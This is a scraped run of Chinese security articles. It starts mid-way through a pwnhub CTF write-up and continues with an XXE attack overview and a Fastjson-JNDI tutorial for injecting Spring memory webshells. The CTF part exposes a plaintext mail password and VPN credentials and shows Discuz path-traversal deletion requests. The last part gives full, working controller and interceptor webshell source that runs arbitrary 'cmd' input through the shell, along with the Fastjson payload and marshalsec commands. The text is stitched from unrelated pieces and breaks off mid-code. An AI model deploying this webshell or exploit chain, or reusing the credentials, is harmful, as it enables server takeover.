<p>注意：只支持tar!!</p>
<p>更新配置成功，内容如下</p><textarea cols="30" rows="15">#\!/bin/bash
cd /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run/ && python run.py
</textarea></form>
</body>
</html>
$ python 2013_read_file.py /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run/run.py
/home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run/run.py
tar: Removing leading `/' from member names
<!DOCTYPE html>
<html>
<head>
<title>你在里面发现了什么? </title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input name="upload" type="file" /><br/>
<input type="submit" value="上传" />
<p>注意：只支持tar!!</p>
<p>更新配置成功，内容如下</p><textarea cols="30" rows="15">#encoding=utf8
from collections import Counter
from mail_send import send_mail
ip = []
statusCode = []
def toDeal(filename):
with open(filename, 'r') as f:
logs = f.readlines()
for log in logs:
ip.append(log.split()[0])
statusCode.append(log.split()[8])
logAll = '日志总数：' + str(len(logs))
ipUV = '独立 IP：' + str(list(set(ip)))
ipNumber = 'IP出现次数：' + str(dict(Counter(ip)))
codeNumber = '状态码出现次数：' + str(dict(Counter(statusCode)))
content = logAll + '\n' + ipUV + '\n' + ipNumber + '\n' + codeNumber
send_mail('Pwnhub Nginx Report', content)
if __name__ == '__main__':
toDeal('/usr/local/var/log/nginx/access.log')
</textarea></form>
</body>
</html>
$ python 2013_read_file.py /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run/mail_send.py
/home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run/mail_send.py
tar: Removing leading `/' from member names
<!DOCTYPE html>
<html>
<head>
<title>你在里面发现了什么? </title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input name="upload" type="file" /><br/>
<input type="submit" value="上传" />
<p>注意：只支持tar!!</p>
<p>更新配置成功，内容如下</p><textarea cols="30" rows="15">#coding:utf-8
import smtplib
from email.mime.text import MIMEText
mail_user = '[email protected]'
mail_pass = '634DRaC62ehWK6X'
mail_server = 'smtp.21cn.com'
mail_port = 465
to_user = '[email protected]'
def send_mail(title,content):
#创建一个实例，这里设置为html格式邮件
msg = MIMEText(content, _subtype = 'html', _charset = 'utf-8')
msg['Subject'] = title
msg['From'] = mail_user
msg['To'] = to_user
try:
#登录smtp服务器
server = smtplib.SMTP_SSL(mail_server,mail_port)
server.login(mail_user,mail_pass)
#邮件发送
server.sendmail(mail_user,to_user,msg.as_string())
server.quit()
return True
except Exception as e:
print(str(e))
return False
</textarea></form>
</body>
</html>
#### Step 4
得到一个邮箱，然后尝试去登录看看，然后在收件箱看到一个发送vpn邮箱发送失败的返回邮件，然后去发件箱得到一个vpn:
IPsec VPN server is now ready for use!
Connect to your new VPN with these details:
Server IP: 54.223.177.152
IPsec PSK: dkQ97gGQPuVm833Ed2F9
Username: pwnhub
Password: LE3U2aTgc4DGZd92wg82
Write these down. You'll need them to connect!
这里想找个linux图形界面连IPsec的软件，但没找到，还是切换到Mac了。。
VPN连上后应该就是内网找服务了，因为nmap探测的很慢，所以只探测80端口
咸鱼了一会后发现几台主机：
172.17.0.1
172.17.0.3
172.17.0.5
172.17.0.7
172.17.0.9
从这可以看出来这是一个docker，其中1是外网那个服务的容器，其他80端口都是nginx默认端口，然后扫描3发现还开了8090，根据之后的提示：`搞
Discuz 不是目的，谁说鸡肋就没用，看 Discuz 送助攻`
#### Step 5
8090端口开的就是一个dz x3.2服务，然后就知道是搞这个了，找了下dz的漏洞去尝试，发现只有ssrf，有最新的任意文件删除的是有效的。
然后发现自己太菜了，根本不会做web，日不动dz。。。。。。
然后偶然间发现。。。。80端口变了，竟然不是默认的nginx服务了, 是一个跳转到`index.php`的html页面，`index.php`页面如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>get flag?</title>
</head>
<!-- include 'safe.php';
if($_REQUEST['passwd'] === 'jiajiajiajiajia'){
echo "$flag";
} -->
</body>
</html>
Oh,Hacked ?
尝试访问：`http://172.17.0.3/index.php?passwd=jiajiajiajiajia`当然是失败的，因为有个`safe.php`
然后根据前面dz获取到的信息，猜测safe.php是ip过滤，然后我得到一个思路(当然是错误的思路):
利用dz的ssrf访问`http://127.0.0.1/index.php?passwd=jiajiajiajiajia`,
因为dz的ssrf是一个远程图片下载的，所以会把请求到的信息下载下来保存到本地，然后`/data`目录是可遍历的，文件会下载到`data/attachment/profile/201710/0x`目录下。
但是目录遍历到201710就没法遍历了，发现是有一个index.html，然后有了一个思路，是利用任意文件删除漏洞把index.html删除，成功了，可以看到`data/attachment/profile/201710/04/`目录下的文件了，然后尝试ssrf，但是是失败的，源码审计看了一会，原来dz把ssrf请求下来的保存成文件后会获取图片信息，如果获取失败会删除。
想了想竞争，但是从保存文件到删除文件，间隔时间太短了，竞争不靠谱。。。又陷入僵局
然后出题人半夜改题了，一个开始80是nginx服务，dz是apache服务。然后换成了80是apache，dz是nginx。
然后我之前的思路就完成GG了，因为无法获取到下载下来的文件名。
然后就只剩一个思路了，利用dz的任意文件删除漏洞，删除safe.php
最开始我也想过这个，但是这个思路的问题太多了，一个是两个不同服务，凭啥有权限删除，safe.php又不是在upload这种会777的目录下，第二就是，一个人做出来了其他人不也做出来了
半夜2点多的时候尝试删除safe.php，失败，睡觉，早上9点多起来发现已经3血了，再次尝试，成功。。。。。。。。。。。。。。。。。。
没有写PoC，手工做题，首先python先跑起来：
>>> while True:
... r = requests.get(url3)
... print r.content
... if r.status_code == 404:
... print "right"
... r = requests.get(url2)
... print r.content
... time.sleep(1)
Oh,Hacked ?
然后使用burp，首先是请求：
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: 172.17.0.3:8090
Content-Length: 2244
Cache-Control: max-age=0
Origin: http://172.17.0.3:8090
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHL816KVx2cHVmZcq
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.17.0.3:8090/home.php?mod=spacecp&ac=profile&op=base
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 3LFi_2132_saltkey=iAo9aN8L; 3LFi_2132_lastvisit=1507028276; 3LFi_2132_sendmail=1; 3LFi_2132_home_readfeed=1507037399; 3LFi_2132_seccode=19.90700de229cc94ae7e; 3LFi_2132_ulastactivity=5e6dmN2yw6RW9gYAeu0%2BFQj4zPpXufkmFS79DZbibxsS1GKyf30i; 3LFi_2132_auth=e93etvAAYQo0lvRVwL9syLfiWnGnZj7HnZAZRfhXA84VUXaWbScrKrKqleMUclzMt%2FB67ybK%2FTtRoNhg%2FF7V; 3LFi_2132_lastcheckfeed=3%7C1507037417; 3LFi_2132_lip=172.17.0.2%2C1507030640; 3LFi_2132_nofavfid=1; 3LFi_2132_onlineusernum=1; 3LFi_2132_checkpm=1; 3LFi_2132_sid=QGWdpE; 3LFi_2132_lastact=1507037551%09misc.php%09patch
Connection: close
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="formhash"
89dbe522
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="realname"
aklis
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[realname]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="gender"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[gender]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="birthyear"
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="birthmonth"
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="birthday"
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[birthday]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="birthprovince"
../../../../../../../../../usr/share/nginx/html/safe.php
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[birthcity]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="resideprovince"
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[residecity]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="affectivestatus"
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[affectivestatus]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="lookingfor"
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[lookingfor]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="bloodtype"
A
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="privacy[bloodtype]"
0
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="profilesubmit"
true
------WebKitFormBoundaryHL816KVx2cHVmZcq
Content-Disposition: form-data; name="profilesubmitbtn"
true
------WebKitFormBoundaryHL816KVx2cHVmZcq--
然后再请求:
POST /home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaa HTTP/1.1
Host: 172.17.0.3:8090
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.1
Content-Length: 543
Cookie: 3LFi_2132_saltkey=iAo9aN8L; 3LFi_2132_lastvisit=1507028276; 3LFi_2132_home_readfeed=1507037399; 3LFi_2132_ulastactivity=5e6dmN2yw6RW9gYAeu0%2BFQj4zPpXufkmFS79DZbibxsS1GKyf30i; 3LFi_2132_auth=e93etvAAYQo0lvRVwL9syLfiWnGnZj7HnZAZRfhXA84VUXaWbScrKrKqleMUclzMt%2FB67ybK%2FTtRoNhg%2FF7V; 3LFi_2132_lastcheckfeed=3%7C1507037417; 3LFi_2132_nofavfid=1; 3LFi_2132_visitedfid=2; 3LFi_2132_forum_lastvisit=D_2_1507041771; 3LFi_2132_st_p=3%7C1507041805%7C587c0547c79d9aad1865192204c3e348; 3LFi_2132_viewid=tid_1; 3LFi_2132_lip=172.17.0.2%2C1507041386; 3LFi_2132_st_t=3%7C1507042459%7Cec88a27fedbb1c6205e196d933f91e42; 3LFi_2132_editormode_e=1; 3LFi_2132_seccode=47.a0f88955fd6a0cfce9; 3LFi_2132_smile=1D1; 3LFi_2132_onlineusernum=9; 3LFi_2132_checkpm=1; 3LFi_2132_sendmail=1; 3LFi_2132_home_diymode=1; 3LFi_2132_sid=A92w24; 3LFi_2132_lastact=1507046589%09home.php%09misc
Content-Type: multipart/form-data; boundary=2b4ed56c9a8d4dff838f4fba3c258b9b
--2b4ed56c9a8d4dff838f4fba3c258b9b
Content-Disposition: form-data; name="profilesubmit"
1
--2b4ed56c9a8d4dff838f4fba3c258b9b
Content-Disposition: form-data; name="formhash"
89dbe522
--2b4ed56c9a8d4dff838f4fba3c258b9b
Content-Disposition: form-data; name="birthprovince"; filename="a.png"
Content-Type: image/png
PS: 正常的图片，因为有不可显字符，就不复制上来了，懒得截图....
--2b4ed56c9a8d4dff838f4fba3c258b9b--
然后成功getflag：
File not found.
right
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>get flag?</title>
</head>
<!-- include 'safe.php';
if($_REQUEST['passwd'] === 'jiajiajiajiajia'){
echo "$flag";
} -->
</body>
</html>
pwnhub{flag:800eaf3244994b224c30e5f24b59f178}
PS: 这题我给的评分是4，我觉得最后一步是本题的败笔，首先环境的问题就不说了。主要是这个思路，只是为出题而设置的，没啥其他意义。。。。前面的思路都挺好的。
本文就附一张图：
* * * | 社区文章 |
## 3种XXE不同攻击方式
原文链接：<https://www.we45.com/blog/3-ways-an-xxe-vulnerability-could-hit-you-hard>
Web/移动应用程序，Word处理器，Web服务和内容管理平台使用可扩展标记语言（XML）格式在人类可读和机器可读格式的系统之间存储
和传输数据。如果未正确验证XML数据的输入，则可能使您容易受到许多不同类型的攻击，例如SQL注入，跨站点脚本，服务器端请求伪造，
本地文件读取，拒绝服务以及（此时的英雄） post）XML外部实体（XXE）注入攻击。本文主要关注使用XXE注入攻击的不同攻击场景。
### 什么是XXE？
XML外部实体（XXE）注入是一个严重的缺陷，允许攻击者读取服务器上的本地文件，访问内部网络，扫描内部端口或在远程服务器上执行命令。它针对解析XML的应用程序。
当包含对外部实体的引用的XML输入由弱配置的XML解析器处理时，会发生此攻击。攻击者通过在XML数据中嵌入恶意内联DOCTYPE定义来利用它。
当Web服务器处理恶意XML输入时，实体将被扩展，这可能会导致攻击者访问Web服务器的文件系统，远程文件系统访问或通过HTTP/HTTPS建立与任意主机的连接。
### 示例攻击场景
> 1. 来自服务器的本地文件劫持
> 2. 通过文件上载功能访问服务器文件
> 3. 具有递归实体扩展的DOS攻击
>
#### 攻击场景1：本地文件劫持服务器
当攻击者在请求中发送格式错误的XML
payload时，服务器处理此payload并发回包含敏感信息的响应，例如服务器的本地文件，应用程序配置文件，内部网络详细信息等。
在少数情况下，在使用精心设计的XXE payload提交HTTP请求时，服务器使用服务器的`/etc/passwd/`进行响应。
**快照1：具有恶意INLINE DOCTYPE定义的HTTP请求 - 具有相应的响应**
但是，在许多情况下，服务器可能不会发回响应。攻击者可以利用此方法的另一种方法是在XXE payload中包含URL（攻击者控制的服务器）。
当服务器解析payload时，它会对攻击者控制的服务器进行额外调用，从而攻击者侦听受害者的服务器并捕获本地文件，服务器配置文件和其他服务器详细信息等信息。
以下图像（快照2和3）显示URL包含在XXE payload中。提交HTTP请求后，服务器会对攻击者控制的服务器进行额外调用。因此，
攻击者侦听来自受害者系统的请求并捕获服务器详细信息（/etc/passwd/）
**快照2：包含受攻击控制URL的HTTP请求**
**快照3：受害者的服务器向攻击者的服务器发出额外的呼叫**
#### 攻击场景2：通过“ 文件上载” 功能访问服务器文件
许多应用程序支持“文件上载”功能（XLSX，DOCX，PPTX，SVG或任何XML MIME类型格式）以供进一步处理。通常，这些文件具有XML
MIME类型。
攻击者可以利用固有的XML类型并上传嵌入了XXE
payload的恶意文件。当服务器解析文件时，执行包含XXE有效载荷的文件，导致客户端服务器的敏感信息泄露。
请注意，在站点的一部分上解析XML的库（例如API）可能与解析上载文件的库不同。
**快照4：将XXE payload嵌入到Docx文件中.Docx（就像pptx和xlsx一样）本质上是Open XML（OXML）文件。**
**快照5：将恶意docx文件上载到（示例）应用程序**
**快照6：文件提交后，服务器会响应服务器/ etc / passwd的敏感信息**
#### 攻击场景3：使用递归实体扩展进行DOS攻击
这种攻击也称为Billion Laugh攻击，XML
Bomb或递归实体扩展攻击。当解析器不断扩展其自身内的每个实体时会发生此攻击，这会使服务器过载并导致服务器关闭。
从上图中，我们看到当解析器开始解析XML文件时，最初是`“＆lol9;”`
引用实体`“lol9”`来获取值，但`“lol9”`本身再次引用`“lol8”`实体。
就像一个实体引用了十个实体一样，这十个实体再次引用其他实体。这样，当解析器扩展实体时，CPU的利用率会大幅增加，从而导致服务器崩溃并变得无响应。
### 结论
在[OWASP排名前10位的2017年](https://www.we45.com/blog/2017/04/25/owasp-top-10-2017-and-the-new-age-of-application-security)排行榜中排名第四，XXE并不是一个新的漏洞，而是一个在最近的应用程序中越来越受欢迎的漏洞。成功的XXE攻击可能会导致安全和业务功能方面的巨大损失。阻止XXE攻击的几种方法包括。
> 1. 禁用外部实体。必要时，仅允许受限和受信任的外部链接
> 2. 关闭XML中的实体扩展
> 3. 仔细检查所使用的XML库的版本是否容易受到XXE的攻击。
> 4. 在解析之前验证用户提供的外部/内部实体和INLINE DOCTYPE定义的输入
> | 社区文章 |
# 利用Fastjson注入Spring内存马
此篇文章在于记录自己对spring内存马的实验研究
## 一、环境搭建
搭建漏洞环境，利用fastjson反序列化，通过JNDI下载恶意的class文件，触发恶意类的构造函数中代码，注入controller内存马。
**1）组件版本：**
fastjson: 1.2.24
spring-mvc: 4.3.28.RELEASE
JDK: 8u121
**2）搭建springMVC+fastjson漏洞环境**
可以参考网上的入门文章进行搭建，这里我放出我自己环境的配置文件
**web.xml**
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!--配置springmvc.xml的路径-->
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
**springmvc.xml**
<!--将AnnotationHandler自动扫描到IOC容器中-->
<context:component-scan base-package="test.controller"></context:component-scan>
<mvc:annotation-driven/>
<!--配置视图解析器-->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<!--配置前缀-->
<property name="prefix" value="/"></property>
<!--配置后缀-->
<property name="suffix" value=".jsp"></property>
</bean>
</beans>
**HelloController**
@Controller
public class HelloController {
@ResponseBody
@RequestMapping(value = "/hello", method = RequestMethod.POST)
public Object hello(@RequestParam("code")String code) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.out.println(code);
Object object = JSON.parse(code);
return code + "->JSON.parseObject()->" + object;
}
}
**pom.xml**
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<!--SpringMVC依赖-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.3.28.RELEASE</version>
</dependency>
## 二、动态注册controller
在springMVC中，也可以在服务器程序启动后，利用某种方式实现动态加载controller。
### 1）获取上下文
在[LandGrey](https://landgrey.me/)文章中介绍了四种方法，分别是
**方式一：getCurrentWebApplicationContext**
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
**方法二：WebApplicationContextUtils**
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
**方法三：RequestContextUtils**
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
**方法四：getAttribute**
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
而对于获取上下文来说，推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例
### 2）注册controller
使用registerMapping方法来动态注册我们的恶意controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
除了使用registerMapping方法注册controller外，还有其余的方式可以参考<https://landgrey.me/blog/12/>
## 三、内存马
以下是大佬的内存马，接下来进行一个改动，使之能进行回显
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
### 修改回显
把test代码中的内容替换为以下
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时，返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
### 最终内存马
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时，返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
}
## 四、测试
fastjson<=1.2.24的 payload：
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}
1）启动本地http服务，绑定端口8888
python3 -m http.server 8888
2）利用marshalsec启动LDAP服务，绑定端口9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999
3）访问存在fastjson反序列化的页面，<http://localhost:8080/hello>
发送payload：
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}
成功写入内存马
### 踩坑
在实验过程中，我发现主要有两个比较难解决的点，导致实验难以继续
**1.怎么编译恶意class文件**
可以看到，一个恶意类是有大量的依赖，如果直接采用javac编译会报错
-》javac InjectToController.java
InjectToController.java:1: error: package org.springframework.web.context does not exist
import org.springframework.web.context.WebApplicationContext;
^
InjectToController.java:2: error: package org.springframework.web.context.request does not exist
import org.springframework.web.context.request.RequestContextHolder;
^
InjectToController.java:3: error: package org.springframework.web.context.request does not exist
import org.springframework.web.context.request.ServletRequestAttributes;
这时候可以利用idea自带的编译特性，先运行项目，然后在其项目的target目录中寻找编译后的class文件即可
**2.可以弹出计算器，却无法注入内存马**
直接进行debug后发现，在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常
原因在于springmvc.xml文件中，没有开启`<mvc:annotation-driven/>`选项。
`<mvc:annotation-driven/>` 是为 MVC 提供额外的支持，参考 [Spring
的官方文档](https://link.segmentfault.com/?enc=HhDzpvKIK0C5%2FxPg4LXnWA%3D%3D.NfNmtndLPA%2BvDaUHzHndfUvuyfiKzLv9s3XLumAmO8Pn3a295R67%2FNvhQTkwml7oNAAo6lh%2BZJW%2FpGPs2g%2B1Rf%2BK9mm4d87WS2fzn0ns%2B7k%3D)，`<mvc:annotation-driven/>` 最主要的作用是注册 `HandlerMapping`（实现为 DefaultAnnotationHandlerMapping） 和
`HandlerAdapter`（实现为 AnnotationMethodHandlerAdapter） 两个类型的 Bean，这两个 Bean 为
`@Controllers`（所有控制器） 提供转发请求的功能。
而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。
## 五、后记
### Interceptor内存马
其实不光是可以注入controller型的内存马，还可以注入Interceptor内存马
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
